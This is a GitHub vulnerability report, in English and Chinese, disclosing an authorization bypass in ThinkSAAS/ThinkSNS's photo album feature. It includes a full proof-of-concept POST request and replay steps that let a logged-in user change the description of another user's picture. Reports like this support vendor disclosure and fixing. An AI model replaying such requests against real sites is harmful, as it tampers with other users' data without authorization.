


New issue

Jump to bottom

Thinksns Overrides the Right to Modify the Photo Description of Albums thinksns越权修改相册图片描述 #19

 Closed aaaqingwu opened this issue on Mar 18, 2019 · 0 comments

aaaqingwu commented on Mar 18, 2019

Thinksns Overrides the Right to Modify the Photo Description of Albums

POST Packet:
POST /index.php?app=photo&ac=album&ts=info_do HTTP/1.1
Host: demo.thinksaas.cn
Connection: close
Content-Length: 42
Cache-Control: max-age=0
Origin: <https://demo.thinksaas.cn>
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng;q=0.8
Referer: <https://demo.thinksaas.cn/index.php?app=photo&ac=album&ts=info&albumid=85&addtime=1552909150>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Your landing cookie

photoid%5B%5D=101&photodesc%5B%5D=test

Get parameters: Log in to demo on the official website, select an album: <https://demo.thinksaas.cn/photo/>, enter an album: <https://demo.thinksaas.cn/photo/album/84/>, click on an image: <https://demo.thinksaas.cn/photo/show/103/>, photoid%5B%5D parameter is show parameter, and then replay the data package to change the description of other people's picture to photodesc%5B%5D parameter.

////////////////////////////////////

thinksns越权修改相册图片描述

POST数据包:
POST /index.php?app=photo&ac=album&ts=info_do HTTP/1.1
Host: demo.thinksaas.cn
Connection: close
Content-Length: 42
Cache-Control: max-age=0
Origin: <https://demo.thinksaas.cn>
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng;q=0.8
Referer: <https://demo.thinksaas.cn/index.php?app=photo&ac=album&ts=info&albumid=85&addtime=1552909150>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 你的登陆cookie

photoid%5B%5D=101&photodesc%5B%5D=test

获取参数：在官网demo登陆，选择一个相册：<https://demo.thinksaas.cn/photo/>，进入一个相册：<https://demo.thinksaas.cn/photo/album/84/>，在点击一个图片：<https://demo.thinksaas.cn/photo/show/103/>， photoid%5B%5D参数为show参数后数字，重放数据包即可将别人的图片描述改为photodesc%5B%5D参数的test

 thinksaas closed this as completed on May 11, 2019

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

2 participants

